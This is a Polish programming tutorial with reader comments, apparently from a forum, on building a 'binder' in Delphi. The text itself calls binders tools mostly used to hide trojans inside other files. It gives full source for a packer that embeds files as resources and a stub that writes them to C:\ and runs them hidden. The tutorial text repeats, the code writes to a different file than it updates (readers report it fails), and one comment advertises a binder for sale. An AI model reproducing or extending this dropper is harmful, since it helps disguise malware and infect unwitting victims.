Prosty binder
Pierwsza rzecz, od której rozpocznę ten artykuł, to wyjaśnienie czym jest binder.
Binder (ang. segregator, lub od bind - ang. łączyć) - rodzaj programu komputerowego, służący do łączenia dwóch różnych plików. Najczęściej jest wykorzystywany do maskowania trojanów, poprzez łączenie ich z innymi dowolnie wybranymi plikami. Ofiara uruchamiając plik, uruchamia trojana i program maskujący, którym może być dowolny plik wykonywalny.
Źródło : www.wikipedia.pl
Teraz przejdźmy do rzeczy :
Co będzie nam potrzebne aby napisać ten binder?
Środowisko programistyczne (kompilator) Delphi 7 Personal Edition. (www.borland.pl)
Do napisania bindera, dla niewiedzących nie trzeba ściągać żadnych komponentów.
No to czas do dzieła!!! :
1) Wrzucamy na formę komponent OpenDialog z zakładki Dialogs i dajemy mu nazwę OD.
2) Wrzucamy na formę 2 buttony i nazywamy je : btn1, btn2 (caption : Binduj i Otwórz)
3) Wrzucamy na formę listbox z zakładki Standard i dajemy mu nazwę lst
Wszystko razem powinno to tak wyglądać :
Pomiędzy formą i kodem możemy się przełączać naciskając przycisk F12.
--- Klikamy 2x na przycisk btn1 (Otwórz) i wklepujemy kod :
--- Klikamy 2x na przycisk btn2 (Binduj) i wklepujemy kod :
--- Teraz klikamy na komponent lst i wchodzimy w zakładkę Events i szukamy OnDblClick, gdy już znaleźliśmy, klikamy 2x na puste polę obok OnDblClick i wklepujemy kod :
No i to by było na tyle! Prawda że mało nam się wydaje? Ale to nie koniec.
Tworzymy aplikację konsolową i wklepujemy kod :
Plik zapisujemy do dowolnego folderu i nazywamy go "Stub". Następnie kompilujemy.
Pamiętajcie! Za każdym razem jak chcecie zbindować jakiś plik, musicie do niego dołączyć plik Stub.exe.
Program można urozmaicać jak chcecie, można zmienić ikonę, dodać obrazek (Zakładka Additional i tam jest Image), zmieniać kod itd.
A do tego jest potrzebna wiedza, więc podaje kilka stron z których można się czegoś nauczyć o Delphi (Object Pascal'u) :
http://www.4programmers.net
http://www.binboy.sphere.pl/
http://www.ofkurs.kgb.pl/
http://www.haxite.org/
http://www.hackme.pl/news.html
Źródło (+ stub) :
1) http://rapidshare.com/files/55761226/Prosty_Binder.rar.html
Binder (ang. segregator, lub od bind - ang. łączyć) - rodzaj programu komputerowego, służący do łączenia dwóch różnych plików. Najczęściej jest wykorzystywany do maskowania trojanów, poprzez łączenie ich z innymi dowolnie wybranymi plikami. Ofiara uruchamiając plik, uruchamia trojana i program maskujący, którym może być dowolny plik wykonywalny.
Źródło : www.wikipedia.pl
Teraz przejdźmy do rzeczy :
Co będzie nam potrzebne aby napisać ten binder?
Środowisko programistyczne (kompilator) Delphi 7 Personal Edition. (www.borland.pl)
Do napisania bindera, dla niewiedzących nie trzeba ściągać żadnych komponentów.
No to czas do dzieła!!! :
1) Wrzucamy na formę komponent OpenDialog z zakładki Dialogs i dajemy mu nazwę OD.
2) Wrzucamy na formę 2 buttony i nazywamy je : btn1, btn2 (caption : Binduj i Otwórz)
3) Wrzucamy na formę listbox z zakładki Standard i dajemy mu nazwę lst
Wszystko razem powinno to tak wyglądać :
<image>http://img514.imageshack.us/img514/2503/screen232vb8.th.jpg</image>
Czas na kod!!! :Pomiędzy formą i kodem możemy się przełączać naciskając przycisk F12.
--- Klikamy 2x na przycisk btn1 (Otwórz) i wklepujemy kod :
procedure TForm1.btn1Click(Sender: TObject); begin if OD.Execute then lst.Items.Add(OD.FileName); end;
--- Klikamy 2x na przycisk btn2 (Binduj) i wklepujemy kod :
procedure TForm1.btn2Click(Sender: TObject); var I:Integer; H, Size, FH, BR:DWORD; Local:String; Buf:Pointer; begin Local:= ExtractFilePath(ParamStr(0)); CopyFile(PChar(Local+'Stub\Stub.exe'), PChar(Local+'zbindowany.exe'), False); H:= BeginUpdateResource(PChar(Local+'Out.exe'), True); for I:= 0 to Lst.Items.Count-1 do begin FH:= CreateFile(PChar(lst.Items[I]), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); Size:= GetFileSize(FH, nil); GetMem(Buf, Size); ReadFile(FH, Buf^, Size, BR, nil); CloseHandle(FH); UpdateResource(H, RT_RCDATA, PChar(UpperCase(ExtractFileName(lst.Items[I]))), MAKEWord(LANG_NEUTRAL, SUBLANG_NEUTRAL), Buf, Size); FreeMem(Buf); end; EndUpdateResource(H, False); end;
--- Teraz klikamy na komponent lst i wchodzimy w zakładkę Events i szukamy OnDblClick, gdy już znaleźliśmy, klikamy 2x na puste polę obok OnDblClick i wklepujemy kod :
procedure TForm1.LstDblClick(Sender: TObject); begin if lst.ItemIndex <> -1 then lst.Items.Delete(lst.ItemIndex); end; end.
No i to by było na tyle! Prawda że mało nam się wydaje? Ale to nie koniec.
Tworzymy aplikację konsolową i wklepujemy kod :
program Stub; uses Windows, ShellApi; function EnumNamesFunc(hModule:THANDLE; lpType, lpName:PChar; lParam:DWORD):BOOL; stdcall; var Info, FH, BW:DWORD; begin Result:= True; Info:= FindResource(0, lpName, lpType); FH:= CreateFile(PChar('C:\'+lpName), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); WriteFile(FH, LockResource(LoadResource(0, Info))^, SizeOfResource(0, Info), BW, nil); CloseHandle(FH); ShellExecute(0, 'OPEN', PChar('C:\'+lpName), '', '', 0); end; begin EnumResourceNames(0, RT_RCDATA, @EnumNamesFunc, 0); end.
Plik zapisujemy do dowolnego folderu i nazywamy go "Stub". Następnie kompilujemy.
Pamiętajcie! Za każdym razem jak chcecie zbindować jakiś plik, musicie do niego dołączyć plik Stub.exe.
Program można urozmaicać jak chcecie, można zmienić ikonę, dodać obrazek (Zakładka Additional i tam jest Image), zmieniać kod itd.
A do tego jest potrzebna wiedza, więc podaje kilka stron z których można się czegoś nauczyć o Delphi (Object Pascal'u) :
http://www.4programmers.net
http://www.binboy.sphere.pl/
http://www.ofkurs.kgb.pl/
http://www.haxite.org/
http://www.hackme.pl/news.html
Źródło (+ stub) :
1) http://rapidshare.com/files/55761226/Prosty_Binder.rar.html
6 komentarzy
przepraszam ale napisales na koncu "Tworzymy aplikację konsolową i wklepujemy kod". gdzie(jak) tworzymy tą aplikacje? gdzie wpisujemy ten kod?:) PS. to jest moj pierwszy kontakt z Delphi :)
Program nie tworzy pliku Out.exe :(( Czy moglbyś to naprawić, aby binder dzialal. Nie jeden użytkownik będzie wdzięczny :))
A może opiszesz jak to działa?
Bo ja widzę że u mnie tylko kopiuje stub.exe i tyle,
a żadnego Out.exe nie tworzy. Używam tego samego Delphi co ty.
Jak ktos znow to bedzie edytować to ossadzcie ten obrazek a nie do niego link...
Sprzedam bindera, napisany w asemblerze (masm32). Więcej informacji na e-mailu.
pelinkbinder@gmail.com